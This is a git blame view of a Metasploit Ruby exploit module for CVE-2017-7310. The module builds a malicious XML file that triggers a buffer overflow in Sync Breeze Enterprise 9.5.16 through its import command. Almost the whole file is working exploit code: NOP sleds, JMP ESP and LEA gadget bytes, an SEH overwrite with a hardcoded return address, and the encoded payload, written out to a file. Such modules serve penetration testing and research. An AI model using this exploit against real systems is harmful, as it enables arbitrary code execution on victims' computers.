Files
metasploit-gs/modules/exploits/windows/fileformat/syncbreeze_xml.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

76 lines
2.1 KiB
Ruby
Raw Normal View History

2018-01-15 20:46:40 +00:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',
2018-01-23 16:34:49 -06:00
'Description' => %q(
2018-01-15 20:46:40 +00:00
This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16
by using the import command option to import a specially crafted xml file.
2018-01-23 16:34:49 -06:00
),
2018-01-15 20:46:40 +00:00
'License' => MSF_LICENSE,
'Author' =>
[
2018-01-23 16:34:49 -06:00
'Daniel Teixeira'
2018-01-15 20:46:40 +00:00
],
'References' =>
[
[ 'CVE', '2017-7310' ],
[ 'EDB', '41773' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
2020-01-14 20:47:27 -05:00
'DisablePayloadHandler' => true
2018-01-15 20:46:40 +00:00
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
'StackAdjustment' => -3500
},
'Targets' =>
[
2018-01-23 16:34:49 -06:00
['Windows Universal', { 'Ret' => 0x10015FFE } ]
2018-01-15 20:46:40 +00:00
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2017-03-29',
2018-01-15 20:46:40 +00:00
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
])
end
def exploit
2018-01-23 16:34:49 -06:00
jmpesp = "\x7A\xB7\x1B\x65" # JMP ESP QtGui4.dll
esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
jmp = "\xFF\xE0" # JMP ESP
2018-01-15 20:46:40 +00:00
buffer = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
2018-01-23 16:34:49 -06:00
buffer << "\x90" * 1536
2018-01-15 20:46:40 +00:00
buffer << jmpesp
2018-01-23 16:34:49 -06:00
buffer << "\x90" * 18
2018-01-15 20:46:40 +00:00
buffer << esp
buffer << jmp
2018-01-23 16:34:49 -06:00
buffer << "\x90" * 68
2018-01-15 20:46:40 +00:00
buffer << generate_seh_record(target.ret)
2018-01-23 16:34:49 -06:00
buffer << "\x90" * 10
2018-01-15 20:46:40 +00:00
buffer << payload.encoded
2018-01-23 16:34:49 -06:00
buffer << "\x90" * 5000
2018-01-15 20:46:40 +00:00
buffer << "\n</classify>"
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buffer)
end
end